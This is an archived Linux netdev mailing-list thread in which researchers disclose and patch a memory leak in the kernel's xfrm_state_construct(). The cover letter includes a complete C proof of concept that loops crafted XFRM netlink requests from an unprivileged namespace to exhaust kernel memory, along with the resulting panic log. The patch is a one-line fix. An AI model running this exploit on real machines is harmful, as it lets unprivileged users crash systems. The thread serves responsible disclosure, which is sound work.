Netdev List
 help / color / mirror / Atom feed
* [PATCH ipsec 0/1] xfrm: fix xfrm_state_construct() auth-trunc leak
@ 2026-07-27 17:30 Ren Wei
  2026-07-27 17:30 ` [PATCH ipsec 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-27 17:30 UTC (permalink / raw)
  To: netdev
  Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, martin,
	vega, zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated a issue in net/xfrm/xfrm_user.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

xfrm_state_construct() first calls attach_auth_trunc() and then falls back to
attach_auth() when x->props.aalgo is still zero.

That is not a valid ownership test. For algorithms such as cmac(aes),
attach_auth_trunc() allocates x->aalg but leaves x->props.aalgo at zero because
the selected algorithm has no sadb_alg_id.

The later !x->props.aalgo check then calls attach_auth() and overwrites x->aalg.
The first allocation is lost and any later failure path, such as the bad
XFRMA_SA_PCPU validation path used by the reproducer, only frees the replacement
pointer.

The fix is to test whether x->aalg is already attached, instead of inferring that
state from x->props.aalgo.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef NETLINK_XFRM
#define NETLINK_XFRM 6
#endif

#ifndef XFRM_SA_DIR_IN
#define XFRM_SA_DIR_IN 1
#endif

#ifndef XFRMA_SA_DIR
#define XFRMA_SA_DIR 33
#endif

#define DEFAULT_LEAK_BYTES (128U * 1024U)
#define DEFAULT_ITERATIONS 0U
#define MAX_EXTACK 256U

enum fail_mode {
	FAIL_BAD_PCPU = 0,
	FAIL_DUPLICATE_SA = 1,
};

struct req_builder {
	char *buf;
	size_t cap;
	struct nlmsghdr *nlh;
};

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void *xrealloc(void *ptr, size_t size)
{
	void *tmp = realloc(ptr, size);

	if (!tmp)
		die("realloc");
	return tmp;
}

static void reserve(struct req_builder *b, size_t need)
{
	size_t want;

	if (need <= b->cap)
		return;

	want = b->cap ? b->cap : 4096;
	while (want < need)
		want <<= 1;

	b->buf = xrealloc(b->buf, want);
	b->cap = want;
	b->nlh = (struct nlmsghdr *)b->buf;
}

static void add_attr(struct req_builder *b, uint16_t type,
		     const void *payload, size_t payload_len)
{
	size_t old_len = NLMSG_ALIGN(b->nlh->nlmsg_len);
	size_t attr_len = NLA_HDRLEN + payload_len;
	size_t new_len = old_len + NLA_ALIGN(attr_len);
	struct nlattr *nla;

	reserve(b, new_len);
	b->nlh = (struct nlmsghdr *)b->buf;
	nla = (struct nlattr *)(b->buf + old_len);
	nla->nla_type = type;
	nla->nla_len = attr_len;
	memcpy((char *)nla + NLA_HDRLEN, payload, payload_len);
	if (NLA_ALIGN(attr_len) > attr_len)
		memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
	b->nlh->nlmsg_len = new_len;
}

static void build_usersa(struct xfrm_usersa_info *sa, uint32_t spi)
{
	memset(sa, 0, sizeof(*sa));
	sa->family = AF_INET;
	sa->id.proto = IPPROTO_AH;
	sa->id.spi = htonl(spi);
	sa->mode = XFRM_MODE_TRANSPORT;
	if (inet_pton(AF_INET, "127.0.0.1", &sa->id.daddr.a4) != 1)
		die("inet_pton daddr");
	if (inet_pton(AF_INET, "127.0.0.1", &sa->saddr.a4) != 1)
		die("inet_pton saddr");
}

static void build_auth_trunc_attr(char **out, size_t *out_len, unsigned int key_bytes)
{
	size_t len = sizeof(struct xfrm_algo_auth) + key_bytes;
	struct xfrm_algo_auth *alg;

	alg = malloc(len);
	if (!alg)
		die("malloc auth_trunc");
	memset(alg, 0x41, len);
	strncpy(alg->alg_name, "cmac(aes)", sizeof(alg->alg_name) - 1);
	alg->alg_name[sizeof(alg->alg_name) - 1] = '\0';
	alg->alg_key_len = key_bytes * 8U;
	alg->alg_trunc_len = 96;
	*out = (char *)alg;
	*out_len = len;
}

static void build_auth_attr(struct xfrm_algo *alg)
{
	memset(alg, 0, sizeof(*alg));
	strncpy(alg->alg_name, "hmac(sha256)", sizeof(alg->alg_name) - 1);
	alg->alg_name[sizeof(alg->alg_name) - 1] = '\0';
	alg->alg_key_len = 0;
}

static int send_and_expect_err(int fd, const void *buf, size_t len, int *kernel_err,
			       char *extack, size_t extack_len)
{
	char resp[NLMSG_SPACE(sizeof(struct nlmsgerr) + MAX_EXTACK)];
	struct sockaddr_nl nladdr;
	struct iovec iov;
	struct msghdr msg;
	struct nlmsghdr *nlh;
	struct nlmsgerr *err;
	ssize_t n;

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;

	iov.iov_base = (void *)buf;
	iov.iov_len = len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nladdr;
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	if (sendmsg(fd, &msg, 0) < 0)
		return -1;

	memset(resp, 0, sizeof(resp));
	iov.iov_base = resp;
	iov.iov_len = sizeof(resp);
	msg.msg_name = &nladdr;
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	n = recvmsg(fd, &msg, 0);
	if (n < 0)
		return -1;

	nlh = (struct nlmsghdr *)resp;
	if (nlh->nlmsg_type != NLMSG_ERROR) {
		errno = EPROTO;
		return -1;
	}

	err = (struct nlmsgerr *)NLMSG_DATA(nlh);
	*kernel_err = err->error;

	if (extack && extack_len) {
		size_t copy = 0;
		struct nlattr *nla;
		int rem;

		extack[0] = '\0';
		nla = (struct nlattr *)((char *)err + sizeof(*err));
		rem = (int)(n - NLMSG_HDRLEN - sizeof(*err));
		while (rem >= (int)sizeof(*nla)) {
			if (nla->nla_len < sizeof(*nla) || nla->nla_len > rem)
				break;
			if (nla->nla_type == NLMSGERR_ATTR_MSG) {
				copy = nla->nla_len - NLA_HDRLEN;
				if (copy >= extack_len)
					copy = extack_len - 1;
				memcpy(extack, (char *)nla + NLA_HDRLEN, copy);
				extack[copy] = '\0';
				break;
			}
			rem -= NLA_ALIGN(nla->nla_len);
			nla = (struct nlattr *)((char *)nla + NLA_ALIGN(nla->nla_len));
		}
	}

	return 0;
}

static int run_worker(unsigned int worker_id, unsigned int leak_bytes,
		      unsigned int iterations, enum fail_mode mode)
{
	unsigned int i = 0;
	int fd;
	int one = 1;
	struct sockaddr_nl addr;
	struct req_builder b;
	struct xfrm_usersa_info sa;
	struct xfrm_algo auth;
	char *auth_trunc = NULL;
	size_t auth_trunc_len = 0;
	uint32_t bad_pcpu = UINT32_MAX;
	uint32_t spi_base = 0x1000;
	uint8_t sa_dir = XFRM_SA_DIR_IN;
	char extack[128];

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (fd < 0)
		die("socket NETLINK_XFRM");

	if (setsockopt(fd, SOL_NETLINK, NETLINK_EXT_ACK, &one, sizeof(one)) < 0)
		die("setsockopt NETLINK_EXT_ACK");

	memset(&addr, 0, sizeof(addr));
	addr.nl_family = AF_NETLINK;
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind netlink");

	memset(&b, 0, sizeof(b));
	build_auth_trunc_attr(&auth_trunc, &auth_trunc_len, leak_bytes);
	build_auth_attr(&auth);

	for (i = 0; !iterations || i < iterations; i++) {
		int err;

		build_usersa(&sa, mode == FAIL_DUPLICATE_SA ? spi_base : spi_base + i);
		reserve(&b, NLMSG_SPACE(sizeof(sa)));
		memset(b.buf, 0, b.cap);
		b.nlh = (struct nlmsghdr *)b.buf;
		b.nlh->nlmsg_len = NLMSG_LENGTH(sizeof(sa));
		b.nlh->nlmsg_type = XFRM_MSG_NEWSA;
		b.nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
		b.nlh->nlmsg_seq = i + 1;
		memcpy(NLMSG_DATA(b.nlh), &sa, sizeof(sa));

		add_attr(&b, XFRMA_ALG_AUTH_TRUNC, auth_trunc, auth_trunc_len);
		add_attr(&b, XFRMA_ALG_AUTH, &auth, sizeof(auth));
		add_attr(&b, XFRMA_SA_DIR, &sa_dir, sizeof(sa_dir));
		if (mode == FAIL_BAD_PCPU)
			add_attr(&b, XFRMA_SA_PCPU, &bad_pcpu, sizeof(bad_pcpu));

		if (send_and_expect_err(fd, b.buf, b.nlh->nlmsg_len, &err,
					extack, sizeof(extack)) < 0) {
			if (errno == ENOBUFS || errno == ENOMEM) {
				if (worker_id == 0)
					fprintf(stderr,
						"worker=%u iteration=%u transient socket error: %s\n",
						worker_id, i, strerror(errno));
				usleep(1000);
				continue;
			}
			die("send/recv netlink");
		}

		if (err == -ENOMEM) {
			if (worker_id == 0 && (i % 100) == 0)
				fprintf(stderr,
					"worker=%u iteration=%u kernel returned -ENOMEM\n",
					worker_id, i);
			usleep(1000);
			continue;
		}

		if (mode == FAIL_DUPLICATE_SA) {
			if (i == 0 && err == 0)
				continue;
			if (err == -EEXIST)
				continue;
			fprintf(stderr,
				"worker %u iteration %u: expected first add to succeed and later ones to fail with -EEXIST, got %d extack='%s'\n",
				worker_id, i, err, extack);
			close(fd);
			free(auth_trunc);
			free(b.buf);
			return 2;
		}

		if (err != -ERANGE) {
			fprintf(stderr,
				"worker %u iteration %u: expected -ERANGE from bad XFRMA_SA_PCPU, got %d extack='%s'\n",
				worker_id, i, err, extack);
			close(fd);
			free(auth_trunc);
			free(b.buf);
			return 2;
		}

		if (worker_id == 0 && (i % 100) == 0) {
			printf("worker=%u iteration=%u err=%d extack='%s'\n",
			       worker_id, i, err, extack);
			fflush(stdout);
		}
	}

	close(fd);
	free(auth_trunc);
	free(b.buf);
	return 0;
}

int main(int argc, char **argv)
{
	unsigned int leak_bytes = DEFAULT_LEAK_BYTES;
	unsigned int iterations = DEFAULT_ITERATIONS;
	unsigned int workers = 1;
	enum fail_mode mode = FAIL_BAD_PCPU;
	unsigned int i;
	int rc = 0;

	if (argc > 1)
		leak_bytes = strtoul(argv[1], NULL, 0);
	if (argc > 2)
		iterations = strtoul(argv[2], NULL, 0);
	if (argc > 3)
		workers = strtoul(argv[3], NULL, 0);
	if (argc > 4 && !strcmp(argv[4], "dup"))
		mode = FAIL_DUPLICATE_SA;
	if (!workers)
		workers = 1;

	printf("leak_bytes=%u iterations=%u workers=%u mode=%s (0 iterations means infinite)\n",
	       leak_bytes, iterations, workers,
	       mode == FAIL_BAD_PCPU ? "pcpu" : "dup");
	fflush(stdout);

	for (i = 1; i < workers; i++) {
		pid_t pid = fork();

		if (pid < 0)
			die("fork");
		if (pid == 0)
			_exit(run_worker(i, leak_bytes, iterations, mode));
	}

	rc = run_worker(0, leak_bytes, iterations, mode);

	for (i = 1; i < workers; i++) {
		int status;

		if (wait(&status) < 0)
			break;
		if (!rc && WIFEXITED(status) && WEXITSTATUS(status))
			rc = WEXITSTATUS(status);
	}

	return rc;
}
------END poc.c--------

----BEGIN crash log----

[  808.670054][ T2086] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[  808.670791][ T2086] CPU: 2 UID: 0 PID: 2086 Comm: poc Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  808.671654][ T2086] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  808.672513][ T2086] Call Trace:
[  808.672755][ T2086]  <TASK>
[  808.672963][ T2086]  panic+0x544/0x620
[  808.673255][ T2086]  ? __pfx_panic+0x10/0x10
[  808.673563][ T2086]  ? __pfx_lock_release+0x10/0x10
[  808.673938][ T2086]  out_of_memory+0x75d/0x1360
[  808.674277][ T2086]  ? __alloc_pages_slowpath.constprop.0+0xa0f/0x2800
[  808.674735][ T2086]  ? __pfx_out_of_memory+0x10/0x10
[  808.675088][ T2086]  ? __pfx_mutex_trylock+0x10/0x10
[  808.675462][ T2086]  __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[  808.675940][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.676346][ T2086]  ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10
[  808.676823][ T2086]  ? local_clock_noinstr+0x15/0xd0
[  808.677188][ T2086]  ? lock_release+0x687/0xc90
[  808.677533][ T2086]  ? __pfx___might_resched+0x10/0x10
[  808.677907][ T2086]  __alloc_pages_noprof+0x54b/0x760
[  808.678281][ T2086]  ? __pfx___alloc_pages_noprof+0x10/0x10
[  808.678687][ T2086]  ? stack_trace_save+0x94/0xd0
[  808.679039][ T2086]  ? __pfx_stack_trace_save+0x10/0x10
[  808.679422][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.679814][ T2086]  ? stack_depot_save_flags+0x29/0x980
[  808.680205][ T2086]  alloc_pages_mpol_noprof+0x1b1/0x430
[  808.680591][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.680985][ T2086]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[  808.681414][ T2086]  ? __kasan_slab_alloc+0x6e/0x70
[  808.681792][ T2086]  ? kmem_cache_alloc_node_noprof+0x17a/0x3f0
[  808.682235][ T2086]  ? __alloc_skb+0x232/0x310
[  808.682561][ T2086]  ? netlink_ack+0x11a/0xd90
[  808.682891][ T2086]  ? netlink_rcv_skb+0x28e/0x3b0
[  808.683246][ T2086]  ? netlink_unicast+0x683/0xa40
[  808.683582][ T2086]  ? netlink_sendmsg+0x72b/0xbd0
[  808.683925][ T2086]  ? __sock_sendmsg+0x170/0x1c0
[  808.684276][ T2086]  ? ____sys_sendmsg+0x684/0x950
[  808.684621][ T2086]  ? ___sys_sendmsg+0x105/0x190
[  808.684961][ T2086]  ? __sys_sendmsg+0x122/0x1b0
[  808.685308][ T2086]  allocate_slab+0x3ae/0x550
[  808.685644][ T2086]  ___slab_alloc+0xdcb/0x1620
[  808.685979][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.686379][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.686769][ T2086]  ? local_clock_noinstr+0x15/0xd0
[  808.687153][ T2086]  ? __alloc_skb+0x14b/0x310
[  808.687491][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.687889][ T2086]  ? __kmalloc_node_track_caller_noprof+0x12f/0x5a0
[  808.688355][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.688744][ T2086]  __kmalloc_node_track_caller_noprof+0x12f/0x5a0
[  808.689193][ T2086]  ? __alloc_skb+0x14b/0x310
[  808.689519][ T2086]  ? __kasan_slab_alloc+0x6e/0x70
[  808.689871][ T2086]  ? kmalloc_reserve+0xc0/0x240
[  808.690213][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.690602][ T2086]  kmalloc_reserve+0xc0/0x240
[  808.690929][ T2086]  __alloc_skb+0x14b/0x310
[  808.691253][ T2086]  ? __pfx___alloc_skb+0x10/0x10
[  808.691611][ T2086]  netlink_ack+0x11a/0xd90
[  808.691937][ T2086]  netlink_rcv_skb+0x28e/0x3b0
[  808.692272][ T2086]  ? __pfx_xfrm_user_rcv_msg+0x10/0x10
[  808.692650][ T2086]  ? xfrm_netlink_rcv+0x5d/0x90
[  808.692988][ T2086]  ? __pfx_netlink_rcv_skb+0x10/0x10
[  808.693389][ T2086]  ? netlink_deliver_tap+0xa6/0x990
[  808.693765][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.694154][ T2086]  xfrm_netlink_rcv+0x6c/0x90
[  808.694481][ T2086]  netlink_unicast+0x683/0xa40
[  808.694795][ T2086]  ? __pfx_netlink_unicast+0x10/0x10
[  808.695165][ T2086]  ? __virt_addr_valid+0x1db/0x2c0
[  808.695545][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.695935][ T2086]  ? __check_object_size+0x276/0x600
[  808.696311][ T2086]  netlink_sendmsg+0x72b/0xbd0
[  808.696652][ T2086]  ? __pfx_netlink_sendmsg+0x10/0x10
[  808.697019][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.697417][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.697809][ T2086]  ? apparmor_socket_sendmsg+0x4b/0x250
[  808.698194][ T2086]  ? __import_iovec+0x37f/0x630
[  808.698534][ T2086]  ? __pfx_netlink_sendmsg+0x10/0x10
[  808.698941][ T2086]  __sock_sendmsg+0x170/0x1c0
[  808.699266][ T2086]  ____sys_sendmsg+0x684/0x950
[  808.699606][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.700001][ T2086]  ? __pfx_____sys_sendmsg+0x10/0x10
[  808.700404][ T2086]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[  808.700833][ T2086]  ? __pfx_____sys_recvmsg+0x10/0x10
[  808.701210][ T2086]  ? _copy_from_user+0x42/0xa0
[  808.701549][ T2086]  ___sys_sendmsg+0x105/0x190
[  808.701885][ T2086]  ? __pfx____sys_sendmsg+0x10/0x10
[  808.702304][ T2086]  ? __pfx___might_resched+0x10/0x10
[  808.702682][ T2086]  __sys_sendmsg+0x122/0x1b0
[  808.703003][ T2086]  ? __pfx___sys_sendmsg+0x10/0x10
[  808.703389][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.703779][ T2086]  ? switch_fpu_return+0x11a/0x240
[  808.704133][ T2086]  ? srso_alias_return_thunk+0x5/0xfbef5
[  808.704542][ T2086]  do_syscall_64+0x6f/0x150
[  808.704870][ T2086]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  808.705290][ T2086] RIP: 0033:0x7dcca933c687
[  808.705603][ T2086] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	4c 89 df             	mov    %r11,%rdi
   6:	e8 58 b3 00 00       	call   0xb363
   b:	8b 93 08 03 00 00    	mov    0x308(%rbx),%edx
  11:	59                   	pop    %rcx
  12:	5e                   	pop    %rsi
  13:	48 83 f8 fc          	cmp    $0xfffffffffffffffc,%rax
  17:	74 1a                	je     0x33
  19:	5b                   	pop    %rbx
  1a:	c3                   	ret
  1b:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
  22:	00 
  23:	48 8b 44 24 10       	mov    0x10(%rsp),%rax
  28:	0f 05                	syscall
  2a:*	5b                   	pop    %rbx		<-- trapping instruction
  2b:	c3                   	ret
  2c:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
  33:	83 e2 39             	and    $0x39,%edx
  36:	83 fa 08             	cmp    $0x8,%edx
  39:	75 de                	jne    0x19
  3b:	e8 23 ff ff ff       	call   0xffffffffffffff63

Code starting with the faulting instruction
===========================================
   0:	5b                   	pop    %rbx
   1:	c3                   	ret
   2:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
   9:	83 e2 39             	and    $0x39,%edx
   c:	83 fa 08             	cmp    $0x8,%edx
   f:	75 de                	jne    0xffffffffffffffef
  11:	e8 23 ff ff ff       	call   0xffffffffffffff39
[  808.706933][ T2086] RSP: 002b:00007fffdc4f6030 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[  808.707518][ T2086] RAX: ffffffffffffffda RBX: 00007dcca92aa740 RCX: 00007dcca933c687
[  808.708057][ T2086] RDX: 0000000000000000 RSI: 00007fffdc4f6120 RDI: 0000000000000003
[  808.708623][ T2086] RBP: 000000000000000a R08: 0000000000000000 R09: 0000000000000000
[  808.709169][ T2086] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000000b
[  808.709738][ T2086] R13: 00007fffdc4f60f0 R14: 00007fffdc4f6230 R15: 00007fffdc4f6120
[  808.710305][ T2086]  </TASK>
[  808.710803][ T2086] Kernel Offset: disabled
[  808.711110][ T2086] Rebooting in 10 seconds..
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  xfrm: fix xfrm_state_construct() auth-trunc leak

 net/xfrm/xfrm_user.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH ipsec 1/1] xfrm: fix xfrm_state_construct() auth-trunc leak
  2026-07-27 17:30 [PATCH ipsec 0/1] xfrm: fix xfrm_state_construct() auth-trunc leak Ren Wei
@ 2026-07-27 17:30 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-27 17:30 UTC (permalink / raw)
  To: netdev
  Cc: steffen.klassert, herbert, davem, edumazet, pabeni, horms, martin,
	vega, zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

attach_auth_trunc() can allocate x->aalg while leaving
x->props.aalgo at zero when the selected auth algorithm has no
sadb_alg_id. One real case is cmac(aes).

xfrm_state_construct() then treats !x->props.aalgo as "no auth
algorithm attached yet" and calls attach_auth(). That overwrites
x->aalg and loses the first allocation. Any later failure or teardown
only frees the replacement pointer.

Check whether x->aalg is already attached instead of inferring that
state from x->props.aalgo.

Fixes: 4447bb33f094 ("xfrm: Store aalg in xfrm_state with a user specified truncation length")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/xfrm/xfrm_user.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c
index d6db63304ba6..6266a92cf302 100644
--- a/net/xfrm/xfrm_user.c
+++ b/net/xfrm/xfrm_user.c
@@ -940,7 +940,7 @@ static struct xfrm_state *xfrm_state_construct(struct net *net,
 	if ((err = attach_auth_trunc(&x->aalg, &x->props.aalgo,
 				     attrs[XFRMA_ALG_AUTH_TRUNC], extack)))
 		goto error;
-	if (!x->props.aalgo) {
+	if (!x->aalg) {
 		if ((err = attach_auth(&x->aalg, &x->props.aalgo,
 				       attrs[XFRMA_ALG_AUTH], extack)))
 			goto error;
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-27 17:30 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-27 17:30 [PATCH ipsec 0/1] xfrm: fix xfrm_state_construct() auth-trunc leak Ren Wei
2026-07-27 17:30 ` [PATCH ipsec 1/1] " Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox